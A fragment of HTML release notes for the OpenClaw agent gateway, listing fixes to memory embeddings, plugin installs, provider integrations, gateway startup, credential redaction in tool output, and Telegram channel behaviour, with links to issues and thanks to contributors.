<li>Gateway/config: serve runtime config schemas from the current plugin metadata snapshot and generated bundled channel schema metadata instead of rebuilding plugin channel config modules on every <code>config.get</code>/<code>config.schema</code>, preventing idle plugin-discovery CPU churn after upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339511644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73088/hovercard" href="https://github.com/openclaw/openclaw/issues/73088">#73088</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sleitor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sleitor">@sleitor</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geovansb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geovansb">@geovansb</a>.</li>
<li>Memory/LanceDB: call OpenAI-compatible embedding endpoints through the raw SDK transport without sending <code>encoding_format</code>, then normalize float-array or base64 responses so providers such as ZhiPu and DashScope no longer fail recall with wrong vector dimensions or rejected parameters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4230976508" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63655" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63655/hovercard" href="https://github.com/openclaw/openclaw/issues/63655">#63655</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kinthaiofficial/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kinthaiofficial">@kinthaiofficial</a>.</li>
<li>Plugins/install: run dependency installs with npm error-level logging instead of silent mode so failed plugin or hook installs surface actionable npm errors such as EUNSUPPORTEDPROTOCOL instead of <code>npm install failed:</code> with no detail. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339561417" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73093" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73093/hovercard" href="https://github.com/openclaw/openclaw/pull/73093">#73093</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sanctrl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sanctrl">@sanctrl</a>.</li>
<li>Memory/LanceDB: bound memory recall embedding queries with a new <code>recallMaxChars</code> setting, prefer the latest user message over channel prompt metadata during auto-recall, and document the knob so small Ollama embedding models avoid context-length failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162415456" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56780" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56780/hovercard" href="https://github.com/openclaw/openclaw/issues/56780">#56780</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rungmc357/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rungmc357">@rungmc357</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zak-collaborator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zak-collaborator">@zak-collaborator</a>.</li>
<li>CLI/skills: resolve workspace-backed skills commands from <code>--agent</code>, then the current agent workspace, before falling back to the default agent, so multi-agent ClawHub installs, updates, and status checks stay scoped to the active workspace. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4157320909" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56161" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56161/hovercard" href="https://github.com/openclaw/openclaw/issues/56161">#56161</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334459577" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72726" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72726/hovercard" href="https://github.com/openclaw/openclaw/pull/72726">#72726</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/langbowang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/langbowang">@langbowang</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>.</li>
<li>Plugin SDK: fall back from partial bundled plugin directory overrides to package source public surfaces while preserving <code>OPENCLAW_DISABLE_BUNDLED_PLUGINS</code> as a hard disable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335993735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72817" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72817/hovercard" href="https://github.com/openclaw/openclaw/pull/72817">#72817</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/serkonyc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/serkonyc">@serkonyc</a>.</li>
<li>Agents/ACPX: stop forwarding Codex ACP timeout config controls that Codex rejects while preserving OpenClaw's run-timeout watchdog for ACP subagents. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339011227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73052" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73052/hovercard" href="https://github.com/openclaw/openclaw/issues/73052">#73052</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pfrederiksen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pfrederiksen">@pfrederiksen</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/richa65/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/richa65">@richa65</a>.</li>
<li>Memory Core: stream fallback vector search scoring with a bounded top-K result set so large indexes do not materialize every chunk embedding when sqlite-vec is unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339283981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73069/hovercard" href="https://github.com/openclaw/openclaw/pull/73069">#73069</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/parkertoddbrooks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/parkertoddbrooks">@parkertoddbrooks</a>.</li>
<li>Memory Core: stream embedding-cache seeding during safe reindex so large local caches do not materialize every row into the V8 heap before the atomic rebuild. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339268869" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73067" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73067/hovercard" href="https://github.com/openclaw/openclaw/pull/73067">#73067</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/parkertoddbrooks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/parkertoddbrooks">@parkertoddbrooks</a>.</li>
<li>Memory/Ollama: add <code>memorySearch.remote.nonBatchConcurrency</code> for inline embedding indexing, default Ollama non-batch indexing to one request at a time, and keep batch concurrency separate from non-batch concurrency so local embedding backfills avoid timeout storms on smaller hosts. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4171036314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57733/hovercard" href="https://github.com/openclaw/openclaw/pull/57733">#57733</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itilys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itilys">@itilys</a>.</li>
<li>macOS app: update Peekaboo, ElevenLabsKit, and MLX TTS helper dependencies, make canvas file watching and config/exec-approval state writes reliable under concurrent app/test activity, and keep the app plus helper builds warning-free. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Blaizzy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Blaizzy">@Blaizzy</a>.</li>
<li>iOS app: refresh SwiftPM/XcodeGen source hygiene, make app, extension, watch, and curated shared Swift files pass the prebuild SwiftFormat and SwiftLint checks, move relay registration off deprecated StoreKit receipt APIs, and keep simulator builds and logic tests warning-free. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Agents/models: keep <code>models.json</code> readiness and provider-hook caches warm across repeated agent and subagent model resolution while preserving external <code>models.json</code> invalidation, reducing repeated provider-plugin loads on slower ARM64 hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339372396" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73075" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73075/hovercard" href="https://github.com/openclaw/openclaw/issues/73075">#73075</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jochen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jochen">@jochen</a>.</li>
<li>Docs/tools: clarify that <code>tools.profile: "messaging"</code> is intentionally narrow and that <code>tools.profile: "full"</code> is the unrestricted baseline for broader command/control access. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041419805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39954" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39954/hovercard" href="https://github.com/openclaw/openclaw/pull/39954">#39954</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/posigit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/posigit">@posigit</a>.</li>
<li>Control UI/Agents: redact tool-call args, partial/final results, derived exec output, and configured custom secret patterns before streaming tool events to the Control UI, so tool output cannot expose provider or channel credentials. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331444788" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72283" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72283/hovercard" href="https://github.com/openclaw/openclaw/issues/72283">#72283</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331637860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72319/hovercard" href="https://github.com/openclaw/openclaw/pull/72319">#72319</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/volcano303/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/volcano303">@volcano303</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Agents/sessions: keep <code>sessions_history</code> recall redaction enabled even when general log redaction is disabled, and clarify that safety-boundary UI/tool/diagnostic payloads still redact independently of <code>logging.redactSensitive</code>. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331637860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72319/hovercard" href="https://github.com/openclaw/openclaw/pull/72319">#72319</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/volcano303/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/volcano303">@volcano303</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Providers/Codex: pass agent and workspace directories into provider stream wrappers so Codex native <code>web_search</code> activation can evaluate the correct auth context, and smoke-test the built status-message runtime by resolving the emitted bundle name. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4278884433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67843/hovercard" href="https://github.com/openclaw/openclaw/pull/67843">#67843</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4254105422" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65909" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65909/hovercard" href="https://github.com/openclaw/openclaw/issues/65909">#65909</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neilofneils404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neilofneils404">@neilofneils404</a>.</li>
<li>Cron/models: keep <code>payload.model</code> as a per-job primary that can use configured fallbacks, while still letting <code>payload.fallbacks: []</code> make cron runs strict and avoid hidden agent-primary retries. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338698277" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73023" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73023/hovercard" href="https://github.com/openclaw/openclaw/issues/73023">#73023</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelyortho-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelyortho-cyber">@pavelyortho-cyber</a>.</li>
<li>Models/fallbacks: treat user-selected session models as exact choices, so <code>/model ollama/...</code> and model-picker switches fail visibly when the selected provider is unreachable instead of answering from an unrelated configured fallback. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338698277" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73023" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73023/hovercard" href="https://github.com/openclaw/openclaw/issues/73023">#73023</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelyortho-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelyortho-cyber">@pavelyortho-cyber</a>.</li>
<li>Codex harness: keep ChatGPT subscription app-server runs from inheriting <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code>, and fall back to <code>CODEX_API_KEY</code> / <code>OPENAI_API_KEY</code> app-server login only when no Codex account is available. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339128579" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73057" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73057/hovercard" href="https://github.com/openclaw/openclaw/issues/73057">#73057</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/holgergruenhagen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/holgergruenhagen">@holgergruenhagen</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>CLI/model probes: fail local <code>infer model run</code> probes when the provider returns no text output, so unreachable local providers and empty completions no longer look like successful smoke tests. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338698277" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73023" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73023/hovercard" href="https://github.com/openclaw/openclaw/issues/73023">#73023</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelyortho-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelyortho-cyber">@pavelyortho-cyber</a>.</li>
<li>CLI/Ollama: run local <code>infer model run</code> through the lean provider completion path and skip global model discovery for one-shot local probes, so Ollama smoke tests no longer pay full chat-agent/tool startup cost or hang before the native <code>/api/chat</code> request. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336516073" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72851" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72851/hovercard" href="https://github.com/openclaw/openclaw/issues/72851">#72851</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TotalRes2020/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TotalRes2020">@TotalRes2020</a>.</li>
<li>Doctor/gateway services: ignore launchd/systemd companion services that only reference the gateway as a dependency, suppress inactive Linux extra-service warnings, and avoid rewriting a running systemd gateway command/entrypoint during doctor repair. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4039248468" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39118" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39118/hovercard" href="https://github.com/openclaw/openclaw/pull/39118">#39118</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/therk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/therk">@therk</a>.</li>
<li>Daemon/service: only emit hard-coded version-manager paths such as <code>~/.volta/bin</code>, <code>~/.asdf/shims</code>, <code>~/.bun/bin</code>, and fnm/pnpm fallbacks into gateway and node service PATHs when the directories exist, so <code>openclaw doctor</code> no longer flags <code>gateway.path.non-minimal</code> against a PATH the daemon just wrote. Env-driven roots and stable user-bin dirs remain unconditional. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329986857" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71944" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71944/hovercard" href="https://github.com/openclaw/openclaw/issues/71944">#71944</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330028013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71964/hovercard" href="https://github.com/openclaw/openclaw/pull/71964">#71964</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>.</li>
<li>CLI/startup: disable Node's module compile cache automatically for live source-checkout launchers so in-place <code>pnpm build</code> updates are visible to the next <code>openclaw</code> CLI invocation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338808471" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73037" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73037/hovercard" href="https://github.com/openclaw/openclaw/issues/73037">#73037</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LouisGameDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LouisGameDev">@LouisGameDev</a>.</li>
<li>Agents/group chat: keep silent-allowed empty and reasoning-only turns on the <code>NO_REPLY</code> path without injecting visible-answer retry prompts, and clarify the group prompt so agents use the exact silent token instead of prose. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/group chat: move <code>NO_REPLY</code> mechanics into channel-aware direct/group prompts and suppress the duplicate generic silent-reply section for auto-reply runs, so always-on group agents get one consistent stay-silent instruction. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/OpenAI: preserve encrypted empty-summary Responses reasoning items in WebSocket replay and request <code>reasoning.encrypted_content</code> on reasoning turns so GPT-5.4/GPT-5.5 sessions do not lose required <code>rs_*</code> state beside <code>msg_*</code> items. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339067221" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73053" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73053/hovercard" href="https://github.com/openclaw/openclaw/issues/73053">#73053</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/odb36777/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/odb36777">@odb36777</a>.</li>
<li>Gateway/startup: treat <code>plugins.enabled=false</code> as an early plugin fast path, skipping plugin auto-enable discovery, gateway plugin lookup/runtime-dependency staging, and stale-plugin cleanup warnings while preserving channel blocker warnings. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338846905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73041" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73041/hovercard" href="https://github.com/openclaw/openclaw/pull/73041">#73041</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WuKongAI-CMU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WuKongAI-CMU">@WuKongAI-CMU</a>.</li>
<li>Channels/commands: make generated <code>/dock-*</code> commands switch the active session reply route through <code>session.identityLinks</code> instead of falling through to normal chat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293284812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69206/hovercard" href="https://github.com/openclaw/openclaw/issues/69206">#69206</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338791805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73033" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73033/hovercard" href="https://github.com/openclaw/openclaw/pull/73033">#73033</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/clawbones/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/clawbones">@clawbones</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/michaelatamuk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/michaelatamuk">@michaelatamuk</a>.</li>
<li>Providers/Cloudflare AI Gateway: strip assistant prefill turns from Anthropic Messages payloads when thinking is enabled, so Claude requests through Cloudflare AI Gateway no longer fail Anthropic conversation-ending validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337166380" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72905" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72905/hovercard" href="https://github.com/openclaw/openclaw/issues/72905">#72905</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338428671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73005" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73005/hovercard" href="https://github.com/openclaw/openclaw/pull/73005">#73005</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AaronFaby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AaronFaby">@AaronFaby</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahilsatralkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahilsatralkar">@sahilsatralkar</a>.</li>
<li>Gateway/startup: keep primary-model startup prewarm on scoped metadata preparation, let native approval bootstraps retry outside channel startup, and skip the global hook runner when no <code>gateway_start</code> hook is registered, so clean post-ready sidecar work stays off the critical path. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336399068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72846" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72846/hovercard" href="https://github.com/openclaw/openclaw/issues/72846">#72846</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RayWoo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RayWoo">@RayWoo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/livekm0309/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/livekm0309">@livekm0309</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrz1836/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrz1836">@mrz1836</a>.</li>
<li>Gateway/channels: start bundled channel accounts with a lightweight <code>runtimeContexts</code> surface instead of importing the full reply/routing/session channel runtime before <code>startAccount</code>, so Discord, Telegram, Slack, Matrix, and QQBot startup no longer block on unrelated channel helper graphs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336399068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72846" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72846/hovercard" href="https://github.com/openclaw/openclaw/issues/72846">#72846</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337770989" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72960" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72960/hovercard" href="https://github.com/openclaw/openclaw/issues/72960">#72960</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrz1836/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrz1836">@mrz1836</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RayWoo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RayWoo">@RayWoo</a>, and @rollingshmily.</li>
<li>Gateway/supervisor: exit cleanly when a supervised restart finds an existing healthy gateway and bound retries when the existing gateway stays unhealthy, so stale lock contention cannot loop indefinitely. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336399068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72846" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72846/hovercard" href="https://github.com/openclaw/openclaw/issues/72846">#72846</a>. Thanks @azgardtek.</li>
<li>Gateway/startup: scope primary-model provider discovery during channel prewarm to the configured provider owner and add split startup trace timings, so boot avoids staging unrelated bundled provider dependencies while setup discovery remains broad. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338390058" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73002" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73002/hovercard" href="https://github.com/openclaw/openclaw/issues/73002">#73002</a>. Thanks @Schnup03.</li>
<li>Plugins/runtime deps: declare retained staged bundled plugin dependencies in the npm staging manifest while installing only newly missing packages, so Gateway restarts avoid reinstalling the full retained dependency set when one runtime dependency is absent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339108345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73055" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73055/hovercard" href="https://github.com/openclaw/openclaw/issues/73055">#73055</a>. Thanks @GCorp2026.</li>
<li>CLI/status: keep default <code>openclaw status</code> off the heavyweight security audit, plugin compatibility, and memory-vector probes while still showing configured Telegram channels through setup metadata, so routine health checks stay fast and no longer render an empty Channels table. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338209541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72993" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72993/hovercard" href="https://github.com/openclaw/openclaw/issues/72993">#72993</a>. Thanks @comick1.</li>
<li>Channels/Telegram: send a best-effort native typing cue immediately after an inbound message is accepted, so slow pre-dispatch turns show Telegram liveness before queueing, compaction, model, or tool work starts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4232643063" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63759" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63759/hovercard" href="https://github.com/openclaw/openclaw/issues/63759">#63759</a>. Thanks @alessandropcostabr.</li>
